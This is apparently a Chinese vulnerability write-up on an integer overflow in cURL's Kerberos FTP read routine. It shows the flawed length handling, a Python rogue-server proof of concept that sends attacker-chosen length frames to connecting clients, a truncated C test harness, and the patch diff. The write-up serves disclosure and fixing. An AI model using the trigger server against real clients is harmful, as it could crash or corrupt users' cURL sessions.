cURL Kerberos FTP整数溢出漏洞分析

1
2
3

len = (int)ntohl((uint32_t)len);
if(len > CURL_MAX_INPUT_LENGTH)
  return CURLE_TOO_LARGE;

1
2
3

char buffer[1024];
nread = CURLMIN(len, (int)sizeof(buffer));
result = socket_read(data, sockindex, buffer, (size_t)nread);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness 127.0.0.1 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

// ... 完整的测试代码实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

diff --git a/lib/krb5.c b/lib/krb5.c
index b041d2f227..33655ec1c9 100644
--- a/lib/krb5.c
+++ b/lib/krb5.c
@@ -525,46 +525,47 @@ socket_write(struct Curl_easy *data, int sockindex, const void *to,
 
 static CURLcode krb5_read_data(struct Curl_easy *data, int sockindex,
                                struct krb5buffer *buf)
 {
   struct connectdata *conn = data->conn;
-  int len;
+  uint32_t len;
   CURLcode result;
-  int nread;
+  size_t nread;
+  int rc;
 
   result = socket_read(data, sockindex, &len, sizeof(len));
   if(result)
     return result;
 
   if(len) {
-    len = (int)ntohl((uint32_t)len);
+    len = ntohl(len);
     if(len > CURL_MAX_INPUT_LENGTH)
       return CURLE_TOO_LARGE;
 
     curlx_dyn_reset(&buf->buf);
   }
   else
     return CURLE_RECV_ERROR;
 
   do {
     char buffer[1024];
-    nread = CURLMIN(len, (int)sizeof(buffer));
-    result = socket_read(data, sockindex, buffer, (size_t)nread);
+    nread = CURLMIN(len, sizeof(buffer));
+    result = socket_read(data, sockindex, buffer, nread);
     if(result)
       return result;
     result = curlx_dyn_addn(&buf->buf, buffer, nread);
     if(result)
       return result;
-    len -= nread;
+    len -= (uint32_t)nread;
   } while(len);
   /* this decodes the dynbuf *in place* */
-  nread = conn->mech->decode(conn->app_data,
-                             curlx_dyn_ptr(&buf->buf),
-                             len, conn->data_prot, conn);
-  if(nread < 0)
+  rc = conn->mech->decode(conn->app_data, curlx_dyn_ptr(&buf->buf),
+                          (int)curlx_dyn_len(&buf->buf), conn->data_prot,
+                          conn);
+  if(rc < 0)
     return CURLE_RECV_ERROR;
-  curlx_dyn_setlen(&buf->buf, nread);
+  curlx_dyn_setlen(&buf->buf, rc);
   buf->index = 0;
   return CURLE_OK;
 }
 
 static size_t